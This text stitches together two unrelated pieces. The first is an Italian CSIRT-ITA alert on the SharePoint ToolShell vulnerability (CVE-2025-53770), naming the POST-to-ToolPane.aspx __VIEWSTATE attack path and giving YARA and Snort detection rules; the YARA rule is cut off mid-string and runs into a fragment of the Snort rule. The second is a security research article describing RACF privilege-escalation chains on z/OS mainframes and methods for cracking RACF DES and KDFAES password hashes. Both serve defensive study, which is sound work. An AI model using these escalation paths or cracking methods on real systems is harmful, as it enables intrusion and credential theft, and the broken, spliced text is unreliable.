ToolShell: rilevato sfruttamento in rete di vulnerabilità in SharePoint Alert AL01/250721/CSIRT-ITA Sintesi Microsoft ha rilasciato aggiornamenti di sicurezza per 2 vulnerabilità che interessano il prodotto SharePoint, nota piattaforma di collaborazione e gestione file. Nel dettaglio, la CVE-2025-53770 risulta sfruttata attivamente in rete: causata dalla deserializzazione di dati non attendibili, consente a un attaccante remoto non autenticato di eseguire codice arbitrario sulle istanze target. Note: un Proof of Concept (PoC) per lo sfruttamento della CVE-2025-53770 risulta disponibile in rete. Tipologia Authentication Bypass Remote Code Execution Spoofing Descrizione e potenziali impatti Microsoft ha recentemente individuato lo sfruttamento in rete di una vulnerabilità con gravità “critica”, identificata tramite la CVE‑2025‑53770 con score CVSS v3.x pari a 9.8, di tipo “Remote Code Execution”, che interessa il prodotto SharePoint Server. Tale vulnerabilità è causata da una deserializzazione di dati non attendibili all’interno del framework ASP.NET, che SharePoint utilizza per la gestione dei propri contenuti e delle componenti dell’interfaccia utente. L’attacco, che non richiede autenticazione, viene condotto tramite richieste HTTP di tipo POST opportunamente predisposte verso la risorsa: /_layouts/15/ToolPane.aspx?DisplayMode=Edit pagina utilizzata per visualizzare e modificare le Web Part, componenti modulari di SharePoint. Tale risorsa utilizza un campo nascosto chiamato __VIEWSTATE, utilizzato per mantenere lo stato della pagina tra le varie richieste HTTP mediante la serializzazione di oggetti .NET. Qualora tali dati non siano adeguatamente firmati o validati, un attaccante può sottomettere un payload malevolo che, una volta deserializzato dal server, consente l’esecuzione di codice arbitrario sul sistema interessato. Prodotti e/o versioni affette Microsoft SharePoint Server Subscription Edition Microsoft SharePoint Server 2019 Microsoft SharePoint Server 2016 Azioni di mitigazione In linea con le dichiarazioni del vendor, si raccomanda di aggiornare i prodotti vulnerabili seguendo le indicazioni dei bollettini di sicurezza riportati nella sezione Riferimenti. In aggiunta il si raccomanda di: monitorare e bloccare richieste POST verso ToolPane.aspx contenenti valori anomali nel campo __VIEWSTATE; verificare che il meccanismo di sicurezza AMSI (Antimalware Scan Interface) sia attivo; procedere con la rotazione delle machine keys di ASP.NET; riavviare IIS in tutti i server SharePoint tramite iisreset.exe. Infine, si raccomanda di valutare la verifica e l’implementazione - sui propri apparati di sicurezza - degli Indicatori di Compromissione (IoC)[1] forniti da Microsoft e dal CISA e di quelli riportati nell'apposita sezione e in allegato. Azioni di rilevamento A scopo di rilevazione proattiva di potenziali compromissioni relative a Microsoft SharePoint, si condivide la seguente regola YARA di terze parti, pubblicata dal repository open source signature-base di Florian Roth: ed una seconda regola Yara sviluppata dallo CSIRT Italia: rule webshell_toolshell1 { meta: uuid = "1d6e3973-ac25-42db-a70e-d50d28dd5782" author = "CSIRT Italia - Agenzia per la Cybersicurezza Nazionale (ACN)" description = "Detection of a webshell deployed during a Toolshell attack aimed at extracting machine keys" reference = "https://www.acn.gov.it/portale/w/toolshell-rilevato-sfruttamento-in-rete-di-vulnerabilita-in-sharepoint" version = "1" // Defines whether the rule applies only to memory scans or can be used for both memory and disk scans: // - true: The rule applies only to memory scans, i.e. running processes. // - false: The rule can be used for both memory and disk scans. memory_only = false // : should never trigger a false positive and be of high relevance // : trigger on threats of high relevance that have to be reviewed manually (rare false positives) // and : indicate suspicious activity // : have informative character and are used to identify a broad characteristic of a sample (i.e. "UPX packed", "written in Golang", etc.) severity = "high" // The TLP (Traffic Light Protocol) level of the rule, indicating the sensitivity of the information: // - : there is no limit on disclosure, recipients can spread this to the world. // - : recipients can spread this within their community // - : recipients can only spread this on a need-to-know basis within their organization and its clients // - : recipients can only spread this on a need-to-know to the organization only // - : for the eyes and ears of individual recipients only, no further disclosure tlp = "clear" // The Permissible Actions Protocol (PAP) was designed to indicate how the received information can be used: // - : no restrictions in using this information // - : active actions allowed. Recipients may use this rule to information to block incoming/outgoing traffic from/to the target or specifically configure honeypots to interact with the target // - : passive cross check. Recipients may use this rule for conducting online checks, like using services provided by third parties (e.g. Virus Total), or set up a monitoring honeypot // - : Non-detectable actions only. Recipients may not use this rule on the network. Only passive actions on logs/files/, that are not detectable from the outside pap = "clear" strings: $webshell1 = "ValidationKey" ascii xor $webshell2 = "Validation" ascii xor $webshell3 = "DecryptionKey" ascii xor $webshell4 = "Decryption" ascii xor $webshell5 = "CompatibilityMode" ascii xor $webshell6 = "CODEPAGE=\"65001\"" ascii xor $webshell7 = "MachineKeySection" ascii xor $webshell8 = "System.Web.Configuration" ascii xor $webshell9 = "System.Reflection" ascii xor $webshell10 = "GetApplicationConfig" ascii xor $asp1 = "CODEPAGE" ascii $asp2 = " $HOME_NET [80,443] ( msg:"CSIRT ITALIA - Detects exploit attempt leveraging the ToolShell attack chain to target SharePoint"; reference:url,https://www.acn.gov.it/portale/w/toolshell-rilevato-sfruttamento-in-rete-di-vulnerabilita-in-sharepoint; classtype:web-application-attack; priority:1; service:http; flow:to_server,established; http_method; content:"POST",fast_pattern,nocase; http_uri:path; content:"_layouts",fast_pattern,nocase; content:"ToolPane.aspx",fast_pattern,nocase; pcre:"/(?:\/_layouts/1(?:[2456])/ToolPane.aspx\/?)/i"; http_header:field referer; content:"_layouts",fast_pattern,nocase; content:"SignOut.aspx",fast_pattern,nocase; pcre:"/(?:\/_layouts\/(?:1[2456]\/)?SignOut\.aspx)/i"; http_uri:query; pcre:"/DisplayMode\=Edit/i"; pcre:"/a\=\/ToolPane\.aspx/i"; http_client_body; content:"MSOtlPn_Uri",nocase; content:"MSOtlPn_DWP",nocase; sid:3330002; rev:2; ) NB: Si raccomanda di validare e testare preventivamente la regola in ambienti controllati, in particolare per le installazioni basate su Snort 3, assicurandosi che il SID utilizzato non sia già impiegato da altre firme. [1] Per definizione, non tutti gli indicatori di compromissione sono malevoli. Questo CSIRT non ha alcuna responsabilità per l'attuazione di eventuali azioni proattive (es. inserimento degli IoC in blocklist) relative agli indicatori forniti. Le informazioni contenute in questo documento rappresentano la migliore comprensione della minaccia al momento del rilascio. Di seguito sono riportate le sole CVE relative alle vulnerabilità con gravità “alta”: Data pubblicazione 21/07/25 ore 09:36 Data Ultimo Aggiornamento 30/07/25 ore 10:52

In our previous article we dissected penetration testing techniques for IBM z/OS mainframes protected by the Resource Access Control Facility (RACF) security package. In this second part of our research, we delve deeper into RACF by examining its decision-making logic, database structure, and the interactions between the various entities in this subsystem. To facilitate offline analysis of the RACF database, we have developed our own utility, racfudit, which we will use to perform possible checks and evaluate RACF configuration security. As part of this research, we also outline the relationships between RACF entities (users, resources, and data sets) to identify potential privilege escalation paths for z/OS users. This material is provided solely for educational purposes and is intended to assist professionals conducting authorized penetration tests. RACF internal architecture Overall role To thoroughly analyze RACF, let’s recall its role and the functions of its components within the overall z/OS architecture. As illustrated in the diagram above, RACF can generally be divided into a service component and a database. Other components exist too, such as utilities for RACF administration and management, or the RACF Auditing and Reporting solution responsible for event logging and reporting. However, for a general understanding of the process, we believe these components are not strictly necessary. The RACF database stores information about z/OS users and the resources for which access control is configured. Based on this data, the RACF service component performs all necessary security checks when requested by other z/OS components and subsystems. RACF typically interacts with other subsystems through the System Authorization Facility (SAF) interface. Various z/OS components use SAF to authorize a user’s access to resources or to execute a user-requested operation. It is worth noting that while this paper focuses on the operating principle of RACF as the standard security package, other security packages like ACF2 or Top Secret can also be used in z/OS. Let’s consider an example of user authorization within the Time Sharing Option (TSO) subsystem, the z/OS equivalent of a command line interface. We use an x3270 terminal emulator to connect to the mainframe. After successful user authentication in z/OS, the TSO subsystem uses SAF to query the RACF security package, checking that the user has permission to access the TSO resource manager. The RACF service queries the database for user information, which is stored in a user profile. If the database contains a record of the required access permissions, the user is authorized, and information from the user profile is placed into the address space of the new TSO session within the ACEE (Accessor Environment Element) control block. For subsequent attempts to access other z/OS resources within that TSO session, RACF uses the information in ACEE to make the decision on granting user access. SAF reads data from ACEE and transmits it to the RACF service. RACF makes the decision to grant or deny access, based on information in the relevant profile of the requested resource stored in the database. This decision is then sent back to SAF, which processes the user request accordingly. The process of querying RACF repeats for any further attempts by the user to access other resources or execute commands within the TSO session. Thus, RACF handles identification, authentication, and authorization of users, as well as granting privileges within z/OS. RACF database components As discussed above, access decisions for resources within z/OS are made based on information stored in the RACF database. This data is kept in the form of records, or as RACF terminology puts it, profiles. These contain details about specific z/OS objects. While the RACF database can hold various profile types, four main types are especially important for security analysis: User profile holds user-specific information such as logins, password hashes, special attributes, and the groups the user belongs to. Group profile contains information about a group, including its members, owner, special attributes, list of subgroups, and the access permissions of group members for that group. Data set profile stores details about a data set, including access permissions, attributes, and auditing policy. General resource profile provides information about a resource or resource class, such as resource holders, their permissions regarding the resource, audit policy, and the resource owner. The RACF database contains numerous instances of these profiles. Together, they form a complex structure of relationships between objects and subjects within z/OS, which serves as the basis for access decisions. Logical structure of RACF database profiles Each profile is composed of one or more segments. Different profile types utilize different segment types. For example, a user profile instance may contain the following segments: BASE: core user information in RACF (mandatory segment); TSO: user TSO-session parameters; OMVS: user session parameters within the z/OS UNIX subsystem; KERB: data related to the z/OS Network Authentication Service, essential for Kerberos protocol operations; and others. Different segment types are distinguished by the set of fields they store. For instance, the BASE segment of a user profile contains the following fields: PASSWORD: the user’s password hash; PHRASE: the user’s password phrase hash; LOGIN: the user’s login; OWNER: the owner of the user profile; AUTHDATE: the date of the user profile creation in the RACF database; and others. The PASSWORD and PHRASE fields are particularly interesting for security analysis, and we will dive deeper into these later. RACF database structure It is worth noting that the RACF database is stored as a specialized data set with a specific format. Grasping this format is very helpful when analyzing the DB and mapping the relationships between z/OS objects and subjects. As discussed in our previous article, a data set is the mainframe equivalent of a file, composed of a series of blocks. The image above illustrates the RACF database structure, detailing the data blocks and their offsets. From the RACF DB analysis perspective, and when subsequently determining the relationships between z/OS objects and subjects, the most critical blocks include: The header block, or inventory control block (ICB), which contains various metadata and pointers to all other data blocks within the RACF database. By reading the ICB, you gain access to the rest of the data blocks. Index blocks, which form a singly linked list that contains pointers to all profiles and their segments in the RACF database – that is, to the information about all users, groups, data sets, and resources. Templates: a crucial data block containing templates for all profile types (user, group, data set, and general resource profiles). The templates list fields and specify their format for every possible segment type within the corresponding profile type. Upon dissecting the RACF database structure, we identified the need for a utility capable of extracting all relevant profile information from the DB, regardless of its version. This utility would also need to save the extracted data in a convenient format for offline analysis. Performing this type of analysis provides a comprehensive picture of the relationships between all objects and subjects for a specific z/OS installation, helping uncover potential security vulnerabilities that could lead to privilege escalation or lateral movement. Utilities for RACF DB analysis At the previous stage, we defined the following functional requirements for an RACF DB analysis utility: The ability to analyze RACF profiles offline without needing to run commands on the mainframe The ability to extract exhaustive information about RACF profiles stored in the DB Compatibility with various RACF DB versions Intuitive navigation of the extracted data and the option to present it in various formats: plaintext, JSON, SQL, etc. Overview of existing RACF DB analysis solutions We started by analyzing off-the-shelf tools and evaluating their potential for our specific needs: Racf2john extracts user password hashes (from the PASSWORD field) encrypted with the DES and KDFAES algorithms from the RACF database. While this was a decent starting point, we needed more than just the PASSWORD field; specifically, we also needed to retrieve content from other profile fields like PHRASE. Racf2sql takes an RACF DB dump as input and converts it into an SQLite database, which can then be queried with SQL. This is convenient, but the conversion process risks losing data critical for z/OS security assessment and identifying misconfigurations. Furthermore, the tool requires a database dump generated by the z/OS IRRDBU00 utility (part of the RACF security package) rather than the raw database itself. IRRXUTIL allows querying the RACF DB to extract information. It is also part of the RACF security package. It can be conveniently used with a set of scripts written in REXX (an interpreted language used in z/OS). However, these scripts demand elevated privileges (access to one or more IRR.RADMIN.** resources in the FACILITY resource class) and must be executed directly on the mainframe, which is unsuitable for the task at hand. Racf_debug_cleanup.c directly analyzes a RACF DB from a data set copy. A significant drawback is that it only parses BASE segments and outputs results in plaintext. As you can see, existing tools don’t satisfy our needs. Some utilities require direct execution on the mainframe. Others operate on a data set copy and extract incomplete information from the DB. Moreover, they rely on hardcoded offsets and signatures within profile segments, which can vary across RACF versions. Therefore, we decided to develop our own utility for RACF database analysis. Introducing racfudit We have written our own platform-independent utility racfudit in Golang and tested it across various z/OS versions (1.13, 2.02, and 3.1). Below, we delve into the operating principles, capabilities and advantages of our new tool. Extracting data from the RACF DB To analyze RACF DB information offline, we first needed a way to extract structured data. We developed a two-stage approach for this: The first stage involves analyzing the templates stored within the RACF DB. Each template describes a specific profile type, its constituent segments, and the fields within those segments, including their type and size. This allows us to obtain an up-to-date list of profile types, their segments, and associated fields, regardless of the RACF version. In the second stage, we traverse all index blocks to extract every profile with its content from the RACF DB. These collected profiles are then processed and parsed using the templates obtained in the first stage. The first stage is crucial because RACF DB profiles are stored as unstructured byte arrays. The templates are what define how each specific profile (byte array) is processed based on its type. Thus, we defined the following algorithm to extract structured data. We offload the RACF DB from the mainframe and read its header block (ICB) to determine the location of the templates. Based on the template for each profile type, we define an algorithm for structuring specific profile instances according to their type. We use the content of the header block to locate the index blocks, which store pointers to all profile instances. We read all profile instances and their segments sequentially from the list of index blocks. For each profile instance and its segments we read, we apply the processing algorithm based on the corresponding template. All processed profile instances are saved in an intermediate state, allowing for future storage in various formats, such as plaintext or SQLite. The advantage of this approach is its version independence. Even if templates and index blocks change their structure across RACF versions, our utility will not lose data because it dynamically determines the structure of each profile type based on the relevant template. Analyzing extracted RACF DB information Our racfudit utility can present collected RACF DB information as an SQLite database or a plaintext file. Using SQLite, you can execute SQL queries to identify misconfigurations in RACF that could be exploited for privilege escalation, lateral movement, bypassing access controls, or other pentesting tactics. It is worth noting that the set of SQL queries used for processing information in SQLite can be adapted to validate current RACF settings against security standards and best practices. Let’s look at some specific examples of how to use the racfudit utility to uncover security issues. Collecting password hashes One of the primary goals in penetration testing is to get a list of administrators and a way to authorize using their credentials. This can be useful for maintaining persistence on the mainframe, moving laterally to other mainframes, or even pivoting to servers running different operating systems. Administrators are typically found in the SYS1 group and its subgroups. The example below shows a query to retrieve hashes of passwords (PASSWORD) and password phrases (PHRASE) for privileged users in the SYS1 group. Of course, to log in to the system, you need to crack these hashes to recover the actual passwords. We cover that in more detail below. Searching for inadequate UACC control in data sets The universal access authority (UACC) defines the default access permissions to the data set. This parameter specifies the level of access for all users who do not have specific access permissions configured. Insufficient control over UACC values can pose a significant risk if elevated access permissions (UPDATE or higher) are set for data sets containing sensitive data or for APF libraries, which could allow privilege escalation. The query below helps identify data sets with default ALTER access permissions, which allow users to read, delete and modify the data set. The UACC field is not present only in data set profiles; it is also found in other profile types. Weak control in the configuration of this field can give a penetration tester access to resources. RACF profile relationships As mentioned earlier, various RACF entities have relationships. Some are explicitly defined; for example, a username might be listed in a group profile within its member field (USERID field). However, there are also implicit relationships. For instance, if a user group has UPDATE access to a specific data set, every member of that group implicitly has write access to that data set. This is a simple example of implicit relationships. Next, we delve into more complex and specific relationships within the RACF database that a penetration tester can exploit. RACF profile fields A deep dive into RACF internal architecture reveals that misconfigurations of access permissions and other attributes for various RACF entities can be difficult to detect and remediate in some scenarios. These seemingly minor errors can be critical, potentially leading to mainframe compromise. The explicit and implicit relationships within the RACF database collectively define the mainframe’s current security posture. As mentioned, each profile type in the RACF database has a unique set of fields and attributes that describe how profiles relate to one another. Based on these fields and attributes, we have compiled lists of key fields that help build and analyze relationship chains. SPECIAL: indicates that the user has privileges to execute any RACF command and grants them full control over all profiles in the RACF database. OPERATIONS: indicates whether the user has authorized access to all RACF-protected resources of the DATASET, DASDVOL, GDASDVOL, PSFMPL, TAPEVOL, VMBATCH, VMCMD, VMMDISK, VMNODE, and VMRDR classes. While actions for users with this field specified are subject to certain restrictions, in a penetration testing context the OPERATIONS field often indicates full data set access. AUDITOR: indicates whether the user has permission to access audit information. AUTHOR: the creator of the user. It has certain privileges over the user, such as the ability to change their password. REVOKE: indicates whether the user can log in to the system. Password TYPE: specifies the hash type (DES or KDFAES) for passwords and password phrases. This field is not natively present in the user profile, but it can be created based on how different passwords and password phrases are stored. Group-SPECIAL: indicates whether the user has full control over all profiles within the scope defined by the group or groups field. This is a particularly interesting field that we explore in more detail below. Group-OPERATIONS: indicates whether the user has authorized access to all RACF-protected resources of the DATASET, DASDVOL, GDASDVOL, PSFMPL, TAPEVOL, VMBATCH, VMCMD, VMMDISK, VMNODE and VMRDR classes within the scope defined by the group or groups field. Group-AUDITOR: indicates whether the user has permission to access audit information within the scope defined by the group or groups field. CLAUTH (class authority): allows the user to create profiles within the specified class or classes. This field enables delegation of management privileges for individual classes. GROUPIDS: contains a list of groups the user belongs to. UACC (universal access authority): defines the UACC value for new profiles created by the user. Group profile fields UACC (universal access authority): defines the UACC value for new profiles that the user creates when connected to the group. OWNER: the creator of the group. The owner has specific privileges in relation to the current group and its subgroups. USERIDS: the list of users within the group. The order is essential. USERACS: the list of group members with their respective permissions for access to the group. The order is essential. SUPGROUP: the name of the superior group. General resource and data set profile fields UACC (universal access authority): defines the default access permissions to the resource or data set. OWNER: the creator of the resource or data set, who holds certain privileges over it. WARNING: indicates whether the resource or data set is in WARNING mode. USERIDS: the list of user IDs associated with the resource or data set. The order is essential. USERACS: the list of users with access permissions to the resource or data set. The order is essential. RACF profile relationship chains The fields listed above demonstrate the presence of relationships between RACF profiles. We have decided to name these relationships similarly to those used in BloodHound, a popular tool for analyzing Active Directory misconfigurations. Below are some examples of these relationships – the list is not exhaustive. Owner: the subject owns the object. MemberOf: the subject is part of the object. AllowJoin: the subject has permission to add itself to the object. AllowConnect: the subject has permission to add another object to the specified object. AllowCreate: the subject has permission to create an instance of the object. AllowAlter: the subject has the ALTER privilege for the object. AllowUpdate: the subject has the UPDATE privilege for the object. AllowRead: the subject has the READ privilege for the object. CLAuthTo: the subject has permission to create instances of the object as defined in the CLAUTH field. GroupSpecial: the subject has full control over all profiles within the object’s scope of influence as defined in the group-SPECIAL field. GroupOperations: the subject has permissions to perform certain operations with the object as defined in the group-OPERATIONS field. ImpersonateTo: the subject grants the object the privilege to perform certain operations on the subject’s behalf. ResetPassword: the subject grants another object the privilege to reset the password or password phrase of the specified object. UnixAdmin: the subject grants superuser privileges to the object in z/OS UNIX. SetAPF: the subject grants another object the privilege to set the APF flag on the specified object. These relationships serve as edges when constructing a graph of subject–object interconnections. Below are examples of potential relationships between specific profile types. Visualizing and analyzing these relationships helped us identify specific chains that describe potential RACF security issues, such as a path from a low-privileged user to a highly-privileged one. Before we delve into examples of these chains, let’s consider another interesting and peculiar feature of the relationships between RACF database entities. Implicit RACF profile relationships We have observed a fascinating characteristic of the group-SPECIAL, group-OPERATIONS, and group-AUDITOR fields within a user profile. If the user has any group specified in one of these fields, that group’s scope of influence extends the user’s own scope. For instance, consider USER1 with GROUP1 specified in the group-SPECIAL field. If GROUP1 owns GROUP2, and GROUP2 subsequently owns USER5, then USER1 gains privileges over USER5. This is not just about data access; USER1 essentially becomes the owner of USER5. A unique aspect of z/OS is that this level of access allows USER1 to, for example, change USER5’s password, even if USER5 holds privileged attributes like SPECIAL, OPERATIONS, ROAUDIT, AUDITOR, or PROTECTED. Below is an SQL query, generated using the racfudit utility, that identifies all users and groups where the specified user possesses special attributes: Here is a query to find users whose owners (AUTHOR) are not the standard default administrators: Let’s illustrate how user privileges can be escalated through these implicit profile relationships. In this scenario, the user TESTUSR has the group-SPECIAL field set to PASSADM. This group, PASSADM, owns the OPERATOR user. This means TESTUSR’s scope of influence expands to include PASSADM’s scope, thereby granting TESTUSR control over OPERATOR. Consequently, if TESTUSR’s credentials are compromised, the attacker gains access to the OPERATOR user. The OPERATOR user, in turn, has READ access to the IRR.PASSWORD.RESET resource, which allows them to assign a password to any user who does not possess privileged permissions. Having elevated privileges in z/OS UNIX is often sufficient for compromising the mainframe. These can be acquired through several methods: Grant the user READ access to the BPX.SUPERUSER resource of the FACILITY class. Grant the user READ access to UNIXPRIV.SUPERUSER.* resources of the UNIXPRIV class. Set the UID field to 0 in the OMVS segment of the user profile. For example, the DFSOPER user has READ access to the BPX.SUPERUSER resource, making them privileged in z/OS UNIX and, by extension, across the entire mainframe. However, DFSOPER does not have the explicit privileged fields SPECIAL, OPERATIONS, AUDITOR, ROAUDIT and PROTECTED set, meaning the OPERATOR user can change DFSOPER’s password. This allows us to define the following sequence of actions to achieve high privileges on the mainframe: Obtain and use TESTUSR’s credentials to log in. Change OPERATOR’s password and log in with those credentials. Change DFSOPER’s password and log in with those credentials. Access the z/OS UNIX Shell with elevated privileges. We uncovered another implicit RACF profile relationship that enables user privilege escalation. In another example, the TESTUSR user has READ access to the OPERSMS.SUBMIT resource of the SURROGAT class. This implies that TESTUSR can create a task under the identity of OPERSMS using the ImpersonateTo relationship. OPERSMS is a member of the HFSADMIN group, which has READ access to the TESTAUTH resource of the TSOAUTH class. This resource indicates whether the user can run an application or library as APF-authorized – this requires only READ access. Therefore, if APF access is misconfigured, the OPERSMS user can escalate their current privileges to the highest possible level. This outlines a path from the low-privileged TESTUSR to obtaining maximum privileges on the mainframe. At this stage, the racfudit utility allows identifying these connections only manually through a series of SQLite database queries. However, we are planning to add support for another output format, including Neo4j DBMS integration, to automatically visualize the interconnected chains described above. Password hashes in RACF To escalate privileges and gain mainframe access, we need the credentials of privileged users. We previously used our utility to extract their password hashes. Now, let’s dive into the password policy principles in z/OS and outline methods for recovering passwords from these collected hashes. The primary password authentication methods in z/OS, based on RACF, are PASSWORD and PASSPHRASE. PASSWORD is a password composed by default of ASCII characters: uppercase English letters, numbers, and special characters (@#$). Its length is limited to 8 characters. PASSPHRASE, or a password phrase, has a more complex policy, allowing 14 to 100 ASCII characters, including lowercase or uppercase English letters, numbers, and an extended set of special characters (@#$&*{}[]()=,.;’+/). Hashes for both PASSWORD and PASSPHRASE are stored in the user profile within the BASE segment, in the PASSWORD and PHRASE fields, respectively. Two algorithms are used to derive their values: DES and KDFAES. It is worth noting that we use the terms “password hash” and “password phrase hash” for clarity. When using the DES and KDFAES algorithms, user credentials are stored in the RACF database as encrypted text, not as a hash sum in its classical sense. Nevertheless, we will continue to use “password hash” and “password phrase hash” as is customary in IBM documentation. Let’s discuss the operating principles and characteristics of the DES and KDFAES algorithms in more detail. DES When the DES algorithm is used, the computation of PASSWORD and PHRASE values stored in the RACF database involves classic DES encryption. Here, the plaintext data block is the username (padded to 8 characters if shorter), and the key is the password (also padded to 8 characters if shorter). PASSWORD The username is encrypted with the password as the key via the DES algorithm, and the 8-byte result is placed in the user profile’s PASSWORD field. Keep in mind that both the username and password are encoded with EBCDIC. For instance, the username USR1 would look like this in EBCDIC: e4e2d9f140404040. The byte 0x40 serves as padding for the plaintext to reach 8 bytes. This password can be recovered quite fast, given the small keyspace and low computational complexity of DES. For example, a brute-force attack powered by a cluster of NVIDIA 4090 GPUs takes less than five minutes. The hashcat tool includes a module (Hash-type 8500) for cracking RACF passwords with the DES algorithm. PASSPHRASE PASSPHRASE encryption is a bit more complex, and a detailed description of its algorithm is not readily available. However, our research uncovered certain interesting characteristics. First, the final hash length in the PHRASE field matches the original password phrase length. Essentially, the encrypted data output from DES gets truncated to the input plaintext length without padding. This design can clearly lead to collisions and incorrect authentication under certain conditions. For instance, if the original password phrase is 17 bytes long, it will be encrypted in three blocks, with the last block padded with seven bytes. These padded bytes are then truncated after encryption. In this scenario, any password whose first 17 encrypted bytes match the encrypted PASSPHRASE would be considered valid. The second interesting feature is that the PHRASE field value is also computed using the DES algorithm, but it employs a proprietary block chaining mode. We will informally refer to this as IBM-custom mode. Given these limitations, we can use the hashcat module for RACF DES to recover the first 8 characters of a password phrase from the first block of encrypted data in the PHRASE field. In some practical scenarios, recovering the beginning of a password phrase allowed us to guess the remainder, especially when weak dictionary passwords were used. For example, if we recovered Admin123 (8 characters) while cracking a 15-byte PASSPHRASE hash, then it is plausible the full password phrase was Admin1234567890. KDFAES Computing passwords and password phrases generated with the KDFAES algorithm is significantly more challenging than with DES. KDFAES is a proprietary IBM algorithm that leverages AES encryption. The encryption key is generated from the password using the PBKDF2 function with a specific number of hashing iterations. PASSWORD The diagram below outlines the multi-stage KDFAES PASSWORD encryption algorithm. The first stage mirrors the DES-based PASSWORD computation algorithm. Here, the plaintext username is encrypted using the DES algorithm with the password as the key. The username is also encoded in EBCDIC and padded if it’s shorter than 8 bytes. The resulting 8-byte output serves as the key for the second stage: hashing. This stage employs a proprietary IBM algorithm built upon PBKDF2-SHA256-HMAC. A randomly generated 16-byte string (salt) is fed into this algorithm along with the 8-byte key from the first stage. This data is then iteratively hashed using PBKDF2-SHA256-HMAC. The number of iterations is determined by two parameters set in RACF: the memory factor and the repetition factor. The output of the second stage is a 32-byte hash, which is then used as the key for AES encryption of the username in the third stage. The final output is 16 bytes of encrypted data. The first 8 bytes are appended to the end of the PWDX field in the user profile BASE segment, while the other 8 bytes are placed in the PASSWORD field within the same segment. The PWDX field in the BASE segment has the following structure: You can use the dedicated module in the John the Ripper utility for offline password cracking. While an IBM KDFAES module for an older version of hashcat exists publicly, it was never integrated into the main branch. Therefore, we developed our own RACF KDFAES module compatible with the current hashcat version. The time required to crack an RACF KDFAES hash has significantly increased compared to RACF DES, largely due to the integration of PBKDF2. For instance, if the memory factor and repetition factor are set to 0x08 and 0x32 respectively, the hashing stage can reach 40,000 iterations. This can extend the password cracking time to several months or even years. PASSPHRASE Encrypting a password phrase hash with KDFAES shares many similarities with encrypting a password hash. According to public sources, the primary difference lies in the key used during the second stage. For passwords, data derived from DES-encrypting the username was used, while for a password phrase, its SHA256 hash is used. During our analysis, we could not determine the exact password phrase hashing process – specifically, whether padding is involved, if a secret key is used, and so on. Additionally, when using a password phrase, the PHRASE and PHRASEX fields instead of PASSWORD and PWDX, respectively, store the final hash, with the PHRASEX value having a similar structure. Conclusion In this article, we have explored the internal workings of the RACF security package, developed an approach to extracting information, and presented our own tool developed for the purpose. We also outlined several potential misconfigurations that could lead to mainframe compromise and described methods for detecting them. Furthermore, we examined the algorithms used for storing user credentials (passwords and password phrases) and highlighted their strengths and weaknesses. We hope that the information presented in this article helps mainframe owners better understand and assess the potential risks associated with incorrect RACF security suite configurations and take appropriate mitigation steps. Transitioning to the KDFAES algorithm and password phrases, controlling UACC values, verifying access to APF libraries, regularly tracking user relationship chains, and other steps mentioned in the article can significantly enhance your infrastructure security posture with minimal effort. In conclusion, it is worth noting that only a small percentage of the RACF database structure has been thoroughly studied. Comprehensive research would involve uncovering additional relationships between database entities, further investigating privileges and their capabilities, and developing tools to exploit excessive privileges. The topic of password recovery is also not fully covered because the encryption algorithms have not been fully studied. IBM z/OS mainframe researchers have immense opportunities for analysis. As for us, we will continue to shed light on the obscure, unexplored aspects of these devices, to help prevent potential vulnerabilities in mainframe infrastructure and associated security incidents.